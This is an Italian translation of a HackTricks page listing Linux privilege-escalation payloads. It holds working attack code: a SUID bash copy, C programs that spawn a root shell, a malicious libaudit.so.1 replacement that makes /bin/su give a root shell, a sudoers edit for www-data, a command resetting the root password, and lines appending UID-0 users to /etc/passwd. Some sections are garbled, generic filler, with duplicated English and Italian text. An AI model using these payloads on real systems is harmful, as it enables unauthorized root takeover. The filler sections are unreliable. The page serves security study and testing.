hacktricks/linux-hardening/privilege-escalation/payloads-to-execute.md
2024-02-10 13:03:23 +00:00

10 KiB

Payload da eseguire

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

Payload da Eseguire

Una volta ottenuti i privilegi di accesso limitati su un sistema Linux, è possibile utilizzare vari payload per eseguire comandi con privilegi elevati. Di seguito sono elencati alcuni esempi di payload comunemente utilizzati:

1. Payload basato su sudo

Se l'utente ha il permesso di eseguire comandi con sudo senza richiedere una password, è possibile utilizzare il seguente payload:

sudo comando_da_eseguire

Sostituire "comando_da_eseguire" con il comando desiderato.

2. Payload basato su cron

Se l'utente ha il permesso di eseguire comandi tramite cron, è possibile utilizzare il seguente payload:

echo "comando_da_eseguire" > /tmp/script.sh
chmod +x /tmp/script.sh
sudo /usr/bin/crontab /tmp/script.sh

Sostituire "comando_da_eseguire" con il comando desiderato.

3. Payload basato su file SUID

Se si trova un file con il bit SUID impostato, è possibile utilizzare il seguente payload:

./file_suid

Sostituire "file_suid" con il percorso del file SUID desiderato.

4. Payload basato su file di configurazione

Se si dispone di accesso in scrittura a un file di configurazione, è possibile utilizzare il seguente payload:

echo "comando_da_eseguire" >> /path/to/file

Sostituire "comando_da_eseguire" con il comando desiderato e "/path/to/file" con il percorso del file di configurazione.

5. Payload basato su servizi di sistema

Se si dispone di accesso in scrittura a un file di configurazione di un servizio di sistema, è possibile utilizzare il seguente payload:

echo "comando_da_eseguire" >> /path/to/service.conf
sudo systemctl restart service

Sostituire "comando_da_eseguire" con il comando desiderato, "/path/to/service.conf" con il percorso del file di configurazione del servizio e "service" con il nome del servizio.

6. Payload basato su script di inizializzazione

Se si dispone di accesso in scrittura a uno script di inizializzazione, è possibile utilizzare il seguente payload:

echo "comando_da_eseguire" >> /etc/init.d/script
sudo chmod +x /etc/init.d/script
sudo /etc/init.d/script start

Sostituire "comando_da_eseguire" con il comando desiderato e "/etc/init.d/script" con il percorso dello script di inizializzazione.

7. Payload basato su variabili d'ambiente

Se si dispone di accesso in scrittura a un file di configurazione che legge variabili d'ambiente, è possibile utilizzare il seguente payload:

echo "export VAR=comando_da_eseguire" >> /path/to/file
source /path/to/file

Sostituire "comando_da_eseguire" con il comando desiderato e "/path/to/file" con il percorso del file di configurazione.

8. Payload basato su librerie condivise

Se si dispone di accesso in scrittura a una libreria condivisa, è possibile utilizzare il seguente payload:

echo "comando_da_eseguire" > /path/to/library.c
gcc -shared -o /path/to/library.so /path/to/library.c
export LD_PRELOAD=/path/to/library.so

Sostituire "comando_da_eseguire" con il comando desiderato e "/path/to/library.c" e "/path/to/library.so" con i percorsi desiderati per il file sorgente e la libreria condivisa.

Questi sono solo alcuni esempi di payload che è possibile utilizzare per eseguire comandi con privilegi elevati su un sistema Linux. È importante notare che l'utilizzo di tali payload potrebbe essere considerato un comportamento non autorizzato e potrebbe violare le leggi locali.

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}

Sovrascrivere un file per ottenere privilegi elevati

File comuni

  • Aggiungi un utente con password a /etc/passwd
  • Cambia la password all'interno di /etc/shadow
  • Aggiungi un utente ai sudoers in /etc/sudoers
  • Sfrutta Docker attraverso il socket di Docker, di solito in /run/docker.sock o /var/run/docker.sock

Sovrascrivere una libreria

Controlla una libreria utilizzata da un binario, in questo caso /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

In questo caso proviamo a impersonare /lib/x86_64-linux-gnu/libaudit.so.1.
Quindi, controlla le funzioni di questa libreria utilizzate dal binario su:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

I simboli audit_open, audit_log_acct_message, audit_log_acct_message e audit_fd probabilmente provengono dalla libreria libaudit.so.1. Poiché la libreria libaudit.so.1 verrà sovrascritta dalla libreria condivisa dannosa, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Ora, semplicemente chiamando /bin/su, otterrai una shell come root.

Script

Puoi far eseguire qualcosa come root?

www-data in sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Cambiare la password di root

To change the root password, you can use the following command:

Per cambiare la password di root, puoi utilizzare il seguente comando:

sudo passwd root

You will be prompted to enter the new password for the root user. After entering the password, it will be changed.

Ti verrà chiesto di inserire la nuova password per l'utente root. Dopo aver inserito la password, questa verrà cambiata.

It is important to choose a strong and secure password to protect the root account from unauthorized access.

È importante scegliere una password forte e sicura per proteggere l'account root da accessi non autorizzati.

echo "root:hacked" | chpasswd

Aggiungi un nuovo utente root a /etc/passwd

echo 'newroot:x:0:0:root:/root:/bin/bash' >> /etc/passwd

Questo comando aggiunge un nuovo utente chiamato "newroot" con privilegi di root al file /etc/passwd.

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!